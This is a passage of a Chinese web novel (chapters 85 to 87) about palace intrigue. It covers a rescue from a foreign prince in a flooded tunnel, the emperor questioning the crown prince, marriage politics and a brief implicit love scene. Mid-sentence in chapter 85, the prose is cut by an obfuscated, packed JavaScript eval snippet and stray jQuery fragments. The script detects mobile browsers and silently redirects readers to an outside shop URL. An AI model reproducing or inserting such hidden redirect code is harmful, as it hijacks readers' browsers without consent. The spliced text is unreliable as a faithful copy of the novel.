崔珩,“当年大皇子还不是太子,桓侯进宫绑架他们母子,想着起兵不成就到外地另立灵均为新君。他娘找到我,让我保护大皇子,我顺便把他娘俩都藏了。桓侯的人根本没找到她们,灵均母子这才在灭族大罪中逃了一条命。当年姜氏才是十五六的小丫头,就有这种胆识,要说,如果她是桓侯世子,老姜家绝对不是这么个下场。我去一趟,就算出点纰漏,太子看在我曾经救过他们母子一条命的情分上,怎么不会把事情做绝。” 赵毓终于点头。他们走出侯府大门,崔珩让人牵马,赵毓自己滚鞍上马。崔珩则让人跪在地上,做他的上马脚凳。赵毓不太喜欢他这个习惯,不过也没多说什么,径自扯了缰绳先走一步。 崔珩则趁着赵毓不在意,将腰间的黄金镶玄玉的令牌拿出来,给随从,并且低声吩咐道,“给你这个。” “侯爷吩咐。” “进宫。”崔珩,“密奏圣上,雍京西南的山林苑,还有,……,赵毓。” “是。” 85. 85 85 山林苑南邻镐川之水,背靠稽山,风水极佳。 崔珩到山林苑门前勒住马,此时,他才知道为什么赵毓一听说尹徵在这里,就一口咬定太子是被有心人陷害了。 这里,……,太破旧了。山林苑顶着一个听上去颇有些魏晋风流、飘飘欲仙的名字,其实就是一座几乎要废弃的农庄。 他翻身下马,将缰绳捆在参天巨树上,问赵毓,“现在北镇府司归我调配,我知道这里是东宫新购置的别苑,你是怎么知道的?” 赵毓下马,“最近两个月,我让手下的账房们时刻探查雍京大额银钱交易,尤其是白银兑田产、土地的买卖。原先主要看五千两白银之上的交易,现在银价高昂,一千两什么的也顺便看看。” “太子这个别苑入手过户也就是这几天的事儿,前后银钱花了不过五千三百两的样子。不过地方不错,前有水后有靠,我看过图,他买的地方从镐水一直到那边的山,土质很好,如果请人细心打理,会有个不错的进项。” 崔珩,“雍王、吉王还有徽郡王什么的,他们这些人的庄子不都在北边吗?太子怎么不去扎堆?” 赵毓摇头,“不知道。” 崔珩就看着他,也没说什么。 如今的王公们,当然,是指活下来的皇室权贵们,为了表达自己对皇位没有野心,而开始变着法儿的“和光同尘”。每天的日子就是琴棋书画诗酒花,只要名字在总师玉碟上,只要不把王爵混丢了,那就是天生的富贵种,只要不出格,瞎折腾一些,表现的酒囊饭袋一些,草包一些,似乎还安全一些。 这群人做事情还喜欢扎堆。今天这个在北城买了庄子,明天那个也去,后天这个也过来弄一个温泉苑,找一群人过来吃吃喝喝,以不问政事、眠花宿柳表现自己的视权位如粪土的超凡脱俗。 那些人在北城,太子在这里买山林苑就真的有些意思了。他这样做,既表现自己同众人一样,也买庄子,也似乎向往诗酒田园的生活,但是,他不同那些王公们扎堆,一来表现自己不结党,二来,可能还要表现自己稍微清贫一些,毕竟年纪小,又入主东宫没多久,不可能像那些拥有几辈子世袭王爵的叔伯们,或者他七叔雍王那种财力,出手自然不能过于豪奢。 崔珩,“他就是储君,不锐意进取,学什么和光同尘?” 赵毓,“储君,才是这个世上最难做的活儿,做的不能太好,也不能太差。” ——做的太好,直接把皇帝废掉;做的太差,就会被皇帝直接废掉。所以,太子究竟如何同他的父皇相处,用什么态度,尺度到哪一步,都需要常年耗费心力一点一点摸索出来,外人帮不了他。 赵毓也不知道文湛究竟喜欢什么样子的储君,是不是像历代那些雄才伟略的帝王因为幽暗的心理而最终选择的都是平庸的太子,不需要锐意进取,只取一个“安全”;还是为了列祖列宗留下的社稷,而违背作为一个人、作为一个帝王的本|能,为天下培养一个真正能驾驭王座的继承人。而且,他同灵均也不熟悉,只是两年多前他在文湛的病榻前见过他一面,前一阵子他们在大本堂又有过一面之缘,除此之外,赵毓与灵均并无瓜葛。 临出侯府的时候,崔珩把自己的衣服换了,如今他一身布衫,头发也是用布巾胡乱扎的,像个潦倒的书生。他的头发又多又硬,布巾有些裹不住,赵毓让他在自己面前蹲下,他给他重新扎了扎头发。 “对了,这些天我只顾着尹徵的事,没空想别的。”崔珩,“我听说你的那场赌局了,现在还缺银子吗?” “我不要你的钱。” 闻言,崔珩抬头想要看看他,赵毓手指一紧,“别动!” “我没说给你钱。”崔珩一边说,一边打量着四周,“我的田产庄子大部分也在雍京周围,如今银价这个行市,就算我想要兑银,估计也换不成了,不是价格压的太低,就是存银不够。我问一下你的事情表示我还算关心,其实我想说的是,咱俩不能全栽了,你乱折腾,就算赔的倾家荡产,只要有我在,你就有最后一口气,以后怎么也能东山再起。” 赵毓给他弄好了,让他站起来,“你不做买卖了,现在就靠着领俸禄过活,之前那些家底还是仔细留着。我娘说,让你,……”娶老婆生娃,自己攒个家好好过日子,咱们家不能都像我这么不着调。 “让我什么?”崔珩的声调一下子变得有些阴冷。 赵毓,“让你好好过日子。最近咱们都八字不对,命犯太岁,我娘让你别省钱,想吃点啥就吃点啥,人生在世,最重要的事情就是让自己开心。对了,周熙还是没有找到,他,……” 崔珩,“你别管了,等我腾出手再说。江南的事情,不仅仅十三行和周熙,有大问题。”随后,他笑了,“太贵妃最近日子过的还算顺心吧。” “嗯。”赵毓,“只要我不给她找麻烦,按照我娘那个修为,估计这个世上只有她给别人找麻烦的份儿。呃,你敲门,还是我来?” “我来吧。” 叩、叩、叩。 崔珩骨节分明的手指扣在门上,吱呀一声,那两扇看起来行将朽木的门板被拉开,一个昏黄的老头儿站在门后。 赵毓向前,“这位老丈,我们是出城踏青的学子,没想到这里方圆十里没有茶棚,如今天近晌午,实在口渴难耐,能不能讨口水喝?” 老头儿直接摇头,“不行,不行。您这两位……学子,你们要是三天前过来,咱们这里不但有水,晌午还有面条吃。可惜现在我们这里归上面管,等闲人不能放进来,不然,我就吃不了兜着走。”说着,他的手指还指了指天。 崔珩从袖子中拿了一小锭银块,大约是七、八钱的样子,递过去,“老丈,讨口水喝,不会很麻烦。” 那位老头儿居然很是有风骨,不被这些黄白之物收买,“我这也是为了饭碗不能丢,我家中还有婆姨指望我。” ——婆姨? 赵毓听着,脸上没表情,耳朵尖微微挺了一下。 崔珩则笑着,将那小银子收了起来,“既然老丈这么说,我们就到别处讨水喝。老丈,您这个农庄看着挺好,就是破旧一些,以后好好打理,蔬果粮食都有了。再从前面的镐水挖条沟,把水引进庄子里面,弄个鱼塘,连春夏的河鲜都有了。” 赵毓听崔珩一边说话,一边用眼角扫了扫周围。 “……!!” 此时,四周的墙壁上,慢慢围上来身穿黑色劲装的御林军,手中是硬|弩,已经拉开了机关,利箭对准内里。 韦睿也来了。 他一手张弓,一手冲着赵毓微微摆了一下,使用的是军中的手势,表示,——一切就位。 赵毓把想内心的震惊完全压下去,再听崔珩,还在滔滔不绝,“……,镐川之水流了这么多年,里面的鱼鳖虾蟹多的很,还有菱角,我是冉庄人,那里有一条镐水的支流,直接冲成一个大水坑,就是白洋淀。我们白洋淀的菱角莲子和太湖的比比,一点不差。老丈是哪里人?” “我?”那个老头儿连忙说,“我就是土生土长的直隶人。” “哦。”崔珩又问,“老丈可喜欢四处游历?” “这不干活到处溜达都是有钱人喜欢做的事。”老头儿连忙摇头,“我们这些人,不要说攒出盘缠,就是一天不做工就没饭吃,哪里能四处游历?” 崔珩,“哦,真可惜。” 他的声音没有半分可惜的意思,突然,他抬手做成手刀,一下子砍在老头儿的脑后,直接把人坎晕,瘫倒在门槛的烂木条上。 “婆姨,……,这可不是直隶土话。”崔珩笑了笑,直接踢开门,“说话尾音都是一口米黄子和手抓羊肉的味,说自己是土生土长的直隶人,骗鬼啊?” 此时韦睿从廊檐上跳下,“侯爷,赵将军。末将有密旨,我们至此一应行动听从侯爷命令。” 崔珩连忙说,“有劳。” 不过,他还是稍微有些意外,“怎么,你们认识啊?”他见赵毓没话,一直看着他,又说,“你别用那两个眼睛珠子瞪着我,我说过,这事儿太大,我担不起,你也担不起。走吧,看看里面究竟是啥勾当?” 现在这个时令,是一年当中最荒芜的季节。土地中没有任何需要收获的东西,也暂时不到种麦子的时间。所以,此时农庄中没有杂人,只有几个看家护院的。御林军兵士们一下子把人都给扣住,顷刻之间,更显得这里静寂,他们如入无人之境。 ——难道,来错了? 院落后面就是山。山路崎岖,异常难走,却又是藤攀葛绕,柏翠松青。半山上还有一个小院,只有三间依靠山体开凿出来的屋子,或者说窑洞,正中一间香气缭绕。崔珩踢开门,发现这是一间经堂。 不同一般的经堂,这里地下没有蒲团,而是铺着厚厚的羊毛毯子,墙壁上高高挂着一幅图,——画中是一个被一团白雾和白色的绸布包裹着看不清楚脸、也看不太清楚身子的人,呃,或者是神。这幅画看上去却极其名贵:神像的衣服褶子都是用黄金融水加了石脂水一点一点描画而出,并且,虽然崔珩看不清楚神像的脸,可是它身上的珠宝玉串却全部使用真正的宝石进行镶嵌。 崔珩没见过这个,“这是,……,何方妖孽?” 赵毓仔细看着这幅神像,“弥兰陀教的唯一主神,白沙。” 崔珩,“看样子,跪拜它的人很有钱啊!”——这样一幅画,顶他这个王侯一年的俸禄。想到这里,崔珩头一次觉得自己穷困潦倒。 赵毓摇头,“不是。大部分信徒很贫苦,不然也不会如此笃信弥兰陀教那些老祭师说的什么苦今生修来世的话了。这幅神像,整个西疆大约也只有这一张而已。” 赵毓想,他已经知道,原本在屋子中的人是谁。 “……”崔珩不信神佛,连同他对一切不曾存活在世间,而只存活在人们脑袋中,或者各种墙壁纸张绢帛上的各种神像佛像不屑一顾。“我看香还燃着,这里的人肯定刚走不久。”崔珩用手势命令韦睿他们,“搜!” 前后无人,韦睿他们却打开了一条密道。 赵毓忽然问崔珩,“最后给你消息的人,究竟是谁?” “等尹徵找到了,我再告诉你。”崔珩说,“怎么,你觉得消息是假的?” “不。”赵毓摇头,“消息应该是真的,而且这个庄子里面的人,与大长老还有给你消息的人,应该不是一路人。给你消息的那个人,想要借刀杀人。” 崔珩,“借我们的刀?” 赵毓点头,“嗯。” 崔珩,“杀谁?” 赵毓,“贵霜王子。” 崔珩听不明白,“他们不是一伙儿的吗?” “不是。”赵毓说,“大长老与贵霜王子是一对儿死敌。” 崔珩,“因为什么?” 赵毓,“信仰。” 崔珩,“啥玩意?” 赵毓,“大长老信奉的是西疆一种非常古老的宗教,在他们的教义中,天地万物都是神,所以他们会对着神山顶礼膜拜,会面对数百年的参天古树祈祷,会对绿洲中每一朵花,每一根草都感恩。” “但是贵霜王子不同,他信奉的弥兰陀教只有一个主神,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728943|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是白沙,除此之外,都是异端,都是妖孽,都要铲除。他们就是因为这个,死死相争,如果不是他们所谓的复国大业压在头顶,他们早就自相残杀了。” 崔珩不明白,——这还能残杀?大长老与贵霜王子这两种所谓的信仰不是与和尚老道一个样子吗?现在哪家做丧事不是水陆道场,一边站和尚,一边站老道,各自吃各自的斋饭,各自念各自的经,各自修炼各自的修行各自得各自的功德,各自超度各自的冤魂。因为这点破事都能打起来,真是先吃萝卜淡操心。 密道是个巨大的黑洞,像是山已经在凿空,深不见底,石路像花螺的纹路,一转一转向下。韦睿点燃了火把,他前面已经走进去几个兵士,手中的弩|箭冲着前方。 一步一步下探。 崔珩随后,然后才是赵毓。 赵毓让身后的人都留在门外,——不能没有退路。 这里像是没有开凿多久,石路旁边的岩石都是嶙峋的,摸着扎手。从黑洞中吹上来烈烈的风,一股奇异的潮湿气味。 再向下,有水声。 他们不知不觉下了山,一条暗河直通镐水。 崔珩左右看了看,“咱们得回去,这里不会藏人,找你小舅子最重要。” 赵毓的眼睛到了光线暗的地方就看不清楚,所以他微微闭着眼睛。此时,他让众人安静下来,他仔细听了听这里,——除了哗啦的水声之外,也的确没有别的。只是,……,不对!一股幽暗的、若有似无的香气一直在这里,而且,越向前越浓!赵毓再向前一步,伸手,前面是一堵墙。 崔珩拿着火把一点一点的仔细看,周围的石头上有渗出的水,这里却没有,干燥燥的,好像是新堵上的石块。 他们退后,韦睿他们用带着细链的弩|箭直接射向巨石! 轰隆! 巨石崩塌,最后,显出里面的密室。 尹徵! 那里是多日未见的尹徵! 赵毓急忙向前,只是尹徵冲着他一直摇头,有嘶哑的啊啊的声音,却说不出话来。崔珩一见,把赵毓挡在身后,果然,他迈进密室第一步,旁边有弯刀劈来,崔珩单手挥动手中的弓|弩,直接挡开。 有人以古怪的口音说,“这人,给你们,让我走。” 赵毓没想到这里的人果然是贵霜王子,当时他离开敦煌的时候,还同他喝过一顿酒,吃了红柳烤鱼和烤羊肉,当时他们还算是朋友。 贵霜看到赵毓,其实已经相当意外。只是千言万语,此时只有一句话,“让我走,我们都能活。” 此时他手中的弯刀压住尹徵的脖子。 崔珩手中的弩|箭已经上弦,“好,我们放你走。带着这孩子,出来吧。” 贵霜不认识崔珩,他只是觉得眼前这个布衣草鞋的人有一种说不出的凌厉,还有他手中的弩|箭,——大郑军队攻城略地的不传之秘。 “放下弓|弩!”贵霜说着,手中的刀划开了尹徵的脖子。 崔珩像是听到了他的威胁,手臂垂了下来,可是随后,以极其快的速度,异常刁钻的角度直接扣开了机关,一支箭带着呼啸的尾音在咫尺之间射|出,直穿过贵霜握刀的手臂,钉死在他身后的石壁上。 贵霜再也抓不住尹徵,崔珩一把扯了他过来,丢到后面。赵毓抱住他,手指捂住尹徵的脖子,……,幸好,是轻伤。 “要死,就一起死!” 贵霜见眼前大势已去,他用力全身回撤,用没有受伤的手,拉住一个铁环,用力一扯! 挡住暗河的水闸缓缓升起。 镐川之水汹涌而来! 他们如果想要活命,似乎只能闭口气,从暗河游到镐水岸边。 崔珩水性好,他小的时候曾经在白洋淀抓过鱼虾,赵毓的水性却一般,他充其量也就是在太液池摸过菱角。尹徵自小在西北云中那个干旱少雨的地方长大,纯粹是个旱鸭子。大水漫来,赵毓手中还有尹徵,他想要拖着他尽快入暗河,崔珩却一把扯过他尹徵,直接丢掉。 赵毓,“干什么?” “拖着他,你也活不了。”崔珩,“走!” 赵毓硬是拖着尹徵,——都走到这一步,无论如何不能放弃。 在大水没顶之前,崔珩最后喊了一句,“他死了,我给他偿命。快走!” 此时,所有人都浸入冰冷的水中。旋梯崩塌,一些石块甚至开始堵塞这里通往洞口的路,赵毓以手势告诉所有人进暗河通道,只是,他们都知道,很多人根本不可能游进暗河,一切都是冰冷冷的,人们漂浮着,挣扎着,等待着,……死亡。 …… 突然,几根弩|箭射|入! 它们的尾羽上细而韧的铁链,仿若一线生机破水而至! 淹没在水中的人们纷纷抓住弩|箭,被依次拉出水面。 崔珩见有了生机,这才重新抓住尹徵,也将他带了出去。 等赵毓终于扯住铁链子从水中爬出,他已经憋的头晕眼花,他连忙走了两步,避开地道的门,让后面的人上来,此时,他的双腿甚至支撑不住,直接委顿余地。此时,一双手穿过他的肋下,将他从地上抱起来。 ——浓重的瑰麝气息带着攻击性破空而至围绕在他身边,还有,……黑色的缂丝衣袍。 皇帝到了。 “崔珩,你把尹徵带回尹府。”文湛沉声吩咐,“宫里的御医随后就到。” 赵毓哑着声音,“我……” 文湛不想再说话。 赵毓感觉到,肋下文湛的手,如同沉重的镣铐,却似乎,……,微微颤抖。 86. 86 86 烟雨楼。 这是一家最不像酒楼的酒楼。 极高。 雄踞雍京北城。 客人吃饭的时候,可以从垂下的竹帘中俯瞰周围的民居。青砖青瓦的房屋院落,沾了雨水,显得如同水墨文人画一般清雅。不仅如此。如果有人的地位足够尊贵到能上到顶上三层,还能凭栏远眺恢弘的大正宫,历经了一千二百年的朱墙黑色琉璃瓦,显出永恒不灭的气势。 昌渡站在烟雨楼下,不知道怎么了,他停下脚步,抬头仰望,想要看看烟雨楼那已经隐藏在浓云中的尖顶。遗憾的是,他根本看不到。今天乌云压的非常低,天空甚至开始飘雨。 他是一个极其自负的人。 虽然他目前在西北道排座是第八位,可是,昌渡认为凭借的自己的手腕、能力和这些年深耕易耨出的人脉,等老大萧呈坐不稳那把椅子的时候,下一任老大一定是他!——只要,除掉赵毓。 昌渡开始登楼。 一层,一层,又一层。 等他终于要登极顶上那三层的时候,他居然有一丝忐忑。 昌渡停了一下,走向栏杆围绕的露台,看了看下面。普通的民居似乎已经很遥远,这让他有一种自己已经脱离了芸芸众生的错觉。 他稳了稳心神,继续登楼,最后,他到了第一层。 这里距离云端很近,外面是浓雾,就是云。 早有客人在等他。 昌渡连忙进去,恭敬的如同一只家犬,“世子。” 随侯世子石慎见他进来,居然从竹榻上站起来,“昌先生。” 能见能到这位世子,也是昌渡费尽心力,仔细钻营才能得偿所愿,可是石慎也表现出了不凡的气度,虽然他同昌渡说话是折节下交,却丝毫没有怠慢客人的样子。 石慎让仆从奉茶,随后,屏退左右,“今天请昌先生来,不会觉得我冒昧吧。” 昌渡感觉自己面对的神仙一样的人物,舌头都有些不太对劲,“世子肯见我一面,这是就我前辈子修来的福气。” 他见石慎要给他倒茶水,他连忙双手捧着茶盏,恭敬的接满,这才坐下。 “世子,我知道夏天的时候,西北道同您有一些过节,绮镇那片土地最后还是让赵毓,……” 石慎一挥手,笑容却不变,“这件事,过去就不提了。我请昌先生来,是另外一件事情。” 昌渡连忙坐直,极其认真的听。 石慎,“昌先生,是否一直想要屈居人后?” 昌渡心中一动,却说,“我们西北道有一句话,但行好事,莫问前程。我自然想要再进一步,只是,我这命,不是那么好,不一定能心想事成。世子肯定知道我们那里有一个叫做赵毓的人,有他在,我就恐怕,……” 石慎,“一封永镇山川可以引发雍京城这么大一场风波。银价高昂,十三行自绝,剩下那些小的银庄票号苟延残喘,朝不保夕。西北道如同立于悬崖峭壁之上,随时有倾覆的危险。” “如果,再来一封呢?” 昌渡下意识的向前倾,“怎么,还有永镇山川?” 石慎笑言,“昌先生胆子太小。” 昌渡一惊,“这还小?那可是一百万两白银,封印二十年的债票!”话已出口,他就后悔了。虽然他明白自己与随侯世子的身份天差地悬,可是,只几句话就把自己的浅薄暴露的如此彻底,他的脸上还是有些挂不住。 石慎却似乎没有一丝半点的嫌弃,他还是那样温和的笑着,说话的声音都是斯斯文文的,“我要告诉先生的事情,比永镇山川要大,……,大得多。” 昌渡,“请世子明示。” 石慎,“鸾。” 昌渡,“……”——他从来没有听说过,这是“鸾”是什么。 石慎,“鸾字头的债票,这是赵毓真正的巨债。” 昌渡心想,也是赵毓的七寸。 石慎,“如果,此时先生可以请动鸾字头债票的主人出山兑现银,赵毓必然会很麻烦。” 何止麻烦! 这简直会让他永不超生! 同时,西北道也会碎裂崩塌,满目疮痍,到时候,就是自己收拾残局的大好时机。 昌渡这顿茶喝的全身通透,犹如被人打通了任督二脉,全身紫气萦绕。 他下烟雨楼之前,曾经在顶楼木栏杆旁驻足。昌渡的双眼想要透过水雾云层看看远方的大正宫,虽然不是十分真切,他却笃信自己能感觉到那朱墙黑色琉璃瓦中聚拢着千年来不朽的王者之气。对比脚下的那些已经有些模糊,如同蝼蚁一般的青砖青瓦,昌渡想着,自己已经站在万山之巅了。 大正宫。 这里似乎也看不出什么千年不朽的王气,就是点着静谧的熏香,宽敞的宫殿内显得异常安静。 皇帝在看奏折。 身边伺候笔墨的是黄枞菖。 赵毓知道此时文湛不想同他讲话,一句都不愿意,所以他安静的坐在“一边”的长榻上。 时间流的很慢。 终于,文湛把笔放下,黄枞菖连忙让人过来,将文湛面前收拾干净。 有宫监端上来茶水,文湛拿着盖碗的盖子,一层一层的刮着茶水的表面,“为了他,你心神不宁到这种地步。” 赵毓手指掐了掐自己的衣袖,“桂宝儿是我看着从小长大的,我不能让他在我眼前再出事。” “不是尹徵。”文湛把盖子向桌面上一丢,“我说的是越筝。” 赵毓,“……” 文湛,“尹徵再加上越筝,让你心神都散了。当时那种情况,我不信以你的心智,能误判到几乎全军覆没的地步!” 赵毓,“当时,我怕,……” 文湛,“你怕山林苑如果真出现什么通敌叛国的证据,那有可能是越筝栽赃太子!你想在一切事情发生之前,把所有的一切抹平!” 赵毓张了张嘴,最终还是沉默了。 文湛,“你也怕,这是太子设的陷阱来套越筝,对不对?” 文湛有着洞烛幽微的能力,他可以将人心深处最暗幽的想法,一箭洞穿。整个王朝的人都在揣摩他的想法,几乎所有人不得其门而入,可是,他却可以轻易的洞察到那颗隔着肚皮,不可估量的人心。 赵毓轻轻点头,“我错了,你别生气。”随后,极其认真的说,“认打认罚。” 没有回应。 赵毓抬头看着文湛,此时文湛也看着他: ——陌生的表情,很像王公重臣口中的皇帝,他淡漠的像一尊玉雕,存在于香烟缭绕的神龛之后。 “承怡,这个世上,不是你视而不见听而不闻的事情就不存在。” “灵均是储君。” “越筝是雍王。” “他们之间,……,必须由他们自己摸索出适宜的相处之道。如果这条路是平坦的,那是最好的结果,也是所有人的福气。可是,如果不成,那么他们之间就是一条我们都走过的血路。” “胜王败寇,赢者通杀,输了的人,自当无怨无尤。” “对于他们,如果你不能做到一视同仁,那么就请袖手旁观。” “小的时候,你见过我熬鹰。一只出色的猎鹰必须在年幼的时候被一次一次扔下山崖,折断翅膀,只有当它倚靠自己的能力爬起来,愈合伤痕,用力振翅,它才能真正拥有翱翔天际的能力和资格。” “承怡,昨天你问我,为什么先帝明知道你不是皇室血脉也要你经历这些,我想,他应该不会想让自己真正爱的儿子成为一个在雍京朝局中毫无生存能力的废物,以失败者的身份任人践踏,为此,他宁可杀了你。” …… 很久,没有人再说什么。 此时,黄枞菖像幽灵一样飘进来,“陛下,太子奉诏觐见。” 赵毓刚想起来避一避,文湛扯住他的袖子,“坐着。”随后,他自己起身,那边的花梨木大案旁,这才对黄枞菖说,“让他进来。” 太子灵均今年虚岁十四岁,身上是储君的服饰,白色的缂丝锦袍,绣着龙纹。 他的模样有些像文湛,却有一些不同。儿子会像母亲多一些。那位当年的东宫选侍,现在幽居深宫的太子之母姜氏,赵毓没正式见过,只是,……,在当时匆匆瞥过一眼,十四五岁的年纪,欺花胜雪。这样的容貌放在儿子身上,使灵均显得比文湛更清一些,犹如水中碧色的丝草。 “父皇。”灵均显得很端正,他先对文湛施了礼,转过来,面对赵毓的方向,也微微抬手躬身,“王叔。” 赵毓,“……” 文湛却似乎并没有意外,他很直接的问了一句,“山林苑是怎么回事?” 灵均回答,“这是儿子新进买的别苑。”随后,不用文湛再开口,他主动把买山林苑前前后后的事情说了清清楚楚。现是他为什么想要买别苑,又为什么看中那里,用了多少银子,前后都是谁经的手,一一道来。 文湛听后,点点头,“所以,你在买这个院子的时候,已经知道有可能要出事。” 灵均答道,“有感知,没有证据。” 文湛,“你不怕自己最后控制不住,真的被这件事情陷进去?” 灵均,“怕过。只是,……,这件事情必须做。” 他抬头,很认真的看着文湛,“父皇天纵之才,就算我有任何纰漏,您会责怪我做事不妥,或者为人糊涂,但是绝对不会被人蒙蔽,说我通敌叛国。卧榻之旁岂容他人安睡,既然我已经知道身边人不干净,就不能坐视不管。只是,这件事情终究是我门户不严,儿臣愿意领责罚。” 话语简单明了,一个字不多,一个字不少。 他甚至没有为了讨好多加一句——因为这次的事情,连累父皇与王叔,是儿子的过错,儿子真是罪该万死。 文湛,“责罚不必了,剩下的事情,你善后。” 太子这次极认真的应答,“是。” 赵毓就在不远不近的地方,看着他们。这是一个轮回,依稀回到了当年,那个时候先帝的身体还很好,他对文湛说话的时候,也是这样。简单明了,直白问话,他对儿子最大的诚心,应该就是没有机锋,不话中有话。当年文湛对先帝说话也是这样,没有错误,没有疏漏,字字合适,条理分明。他们像父子,可是又不是很像父子。他们是君臣,可是却又比君臣多一层亲近。 当年,先帝曾经说过文湛,——他必须在怒海狂涛中,稳住心神;在万箭穿心时,保住本真,同时,也要凭着自己的本事,生存下来。 赵毓问过先帝,“这样,不会太苦了吗?” 先帝盯着棋盘,自己与自己对弈,轻声说了一句,“谁让,……,他是大郑的储君?” 灵均离开之前,也看了一眼赵毓。 外面的光隔着雕花窗照进来,影影绰绰的,他就在光影中,犹如一个藏于深宫中的瓷器。华美的釉彩,精湛的工艺,难以描绘的细致与精美,却是脆弱的,似乎一只手指就能让它粉身碎骨。 尹府。 赵毓坐在灯下,有些愣怔。他的手中似乎无意识的拨着一串珠串,一百零八颗和田玉珠子中间是用“色相如天”青金石雕刻的一朵盛开的蓝蝎花。这样的花原本只生长在西疆拉莫孔雀河旁,见血封喉。此时,它被雕刻出来,无法再随着清风翻动花瓣,以西疆诸神永垂不朽的姿态垂在赵毓手指之间。 他听见脚步声就站起来了,“爹,桂宝儿怎么样?” “坐吧。”尹明扬咳嗽了两声,“桂宝儿那边有大夫,给他仔细瞧瞧,应该没有大毛病,就是受了惊吓又着了凉,估计得折腾几天。这一次多亏你,还有崔侯,不然,……” “爹别说了。”赵毓摇摇头,“再说就见外了。” “好。”尹明扬点头。 赵毓看了看他,这些天因为尹徵的事情,尹明 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赵毓极其意外,“爹,您这是,……” 尹明扬,“这里面也有这些年你给家里的,现在你面前有坎,全家人不能看着你折在里面而无动于衷。” 赵毓没动盒子,“这些东西,以后留给桂宝儿吧。” “尹家祖宅家庙那边有三百亩地,只要他不挥霍,以后够他吃喝了。我们这些年做的孽太多,造的杀业太大,也许我们本身煞气大,邪祸不能近身,可是会报应在子孙身上。尹徵这次的祸事就是昔年的旧恨,我想着,他以后不用显达,只要能安稳吃口饭就是祖宗庇佑了。” 缓了一口气,尹明扬又说,“我这一辈子只有绮罗和尹徵一双儿女。绮罗走了,她的那份就是你的。” 不一会儿,大夫过来。很年轻的一个人,就是脚有些跛,手中拿着一根拐杖,走路一歪,一歪。 “部堂大人,赵先生。” 大夫过来,将方才给尹徵看病的情景详细说了说。 尹徵的身体没有大问题,方才无法发声是因为被点了气穴,现在已经没事了,他的声音正常。就是这段时间经历的事情过于艰难,尹徵的确受惊过度,未来几天应该会有低烧。 最后,大夫留下了药方子。 外面开始下雨,赵毓让马夫套好了马车一会儿将大夫送回去,随后,他让尹明扬去看看尹徵,自己举着雨伞,送大夫出门。 廊檐下,大夫见尹明扬没出来,就对赵毓说,“尹公子断掉的手指是无法再生了,这一点,还请赵先生与部堂大人心中有数,他以后不能科举出仕。” 赵毓点点头,“这个,我岳父早有准备,有劳谢大夫费心。” 门外,赵毓让人包了一封谢仪,双手奉上,“有劳您跑一趟,以后可能还要继续麻烦您,这点东西不成敬意,您务必收下。” 这位大夫却也没有推辞,将那包谢仪接过,“你这次回京,我本来想请你喝顿酒,可是我叔父那边,……” 赵毓,“谢枯荣大人嘛,一言难尽。当年也多谢您为小女引荐名师,只是当年兵荒马乱的,我们实在无法在雍京长住,耽误了小女的学业,也空费了谢大夫的好意。” 这位大夫是谢翾飞,谢枯荣长兄的独子,少年时代打马球让人设计用球杆打断了腿,绝了他走仕途的路。不过谢家有“进则救世,退则救民”的家训,既然谢翾飞此生无法立身于庙堂,悬壶济世就是他此生无法选择之后的抉择。上以疗君亲之疾,下以救贫贱之厄,他依旧是谢家宝树上的一枝青翠枝叶。 “赵毓,你说话还是这么客气。” “这可是真心话。” “如果令千金还想读书,谢氏家学我不敢保证,不过我父亲应该会想要收这位女弟子。当年,十一娘就是跟着我父亲读书的。” 谢翾飞口中的十一娘就是梅太傅的长孙媳,梅纯熙。听到这名女子,赵毓心情有些微的复杂,他不再说话,举着纸伞给谢翾飞撩起来马车的帘子。 谢翾飞上了马车,转手握住布帘,“赵毓,其实,你可以两家都答应。” 赵毓的手指微微转了一下油纸伞。 谢翾飞,“如果你答应与我谢氏联姻,我叔父同意让梅家大公子出妻,令千金就会是梅家明媒正娶的长孙媳。” 赵毓,“梅少夫人怎么办?” 谢翾飞,“十一娘自己不慎,被人陷害到了这一步的光景,她还需要依仗谢氏。放心,我堂妹归家之后也会过的不错,毕竟谢家是大族,她对谢家有功,家族不会亏待她。” 赵毓听着,手指又转了一下油纸伞。 谢翾飞忽然笑了,“别为我堂妹难过,如果真到了那一步,她回到谢家才能得到最好的庇护。十一娘见识不输男儿,未必愿意在一棵树上吊死。” 赵毓,“我曾经很直接的拒绝了梅太傅,对于谢枯荣大人,我也不会暧昧,承蒙错爱。” …… 夜晚的雨,越下越大。赵毓回到禁宫,刚换好衣服,就听见外面的暴雨砸在黑色琉璃瓦上,噼里啪啦的,好像是千军万马在荒野上狂奔。 桌上一碗酒酿圆子蛋,加了红糖,喝完后亲吻都带着一丝清甜。 赵毓跨坐在文湛的腿上。 他慢慢向下,…… “不会很难受吧?” “……还好。” 饶是这样说,还是用了不少时间,才完成这样的姿势,……,昏眩与痉挛。 “你说过,任打任罚。” 十指交缠。 热烈的亲吻。 掌心与舌尖都是柔软与火热的贴合。 “可是,……” 只属于他们两个人的快|感犹如翻腾的四海狂涛,将他们恣意拍打,最后卷起波澜成为汹涌的漩涡,卷住他们,直至灭顶的那一刻。 “陛下,……,这是奖赏吧,……” 87. 87 87 子夜已至,骤雨初歇。 赵毓像是渡海的一条船,在惊涛骇浪中被撕扯,被剧烈的摇晃,被风暴肆虐,直至此时,海面上逐渐风平浪静,才缓缓驶入沉静的港湾。 他忽然有些相信文湛平时说的那句话,——他是宰相的主君,不止能撑船,还是一整个运河码头。 夜晚睡的十分酣适,虽然不长,临近黎明就醒了。 赵毓一动起身,文湛也醒了,“怎么起这么早?” “今天雍京西城的赌场开市,我把自己的身家都压在那里,连带着把西北道也扯下了水,眼看着要输的永无翻身之日,萧呈坐不住了,让我过去一趟。估计今天的鸿门宴开席开的早,我过去,没准还能吃到敦煌会馆厨子做的水盆羊肉。” 赵毓说的轻松,只是他坐起来之后,才发现腰酸到有些碎裂的感觉,腿也有些抽筋。文湛也连忙坐起来,按住他的肩膀,开始给他揉腰。 文湛忽然想起来,“你不是不吃羊肉吗?” 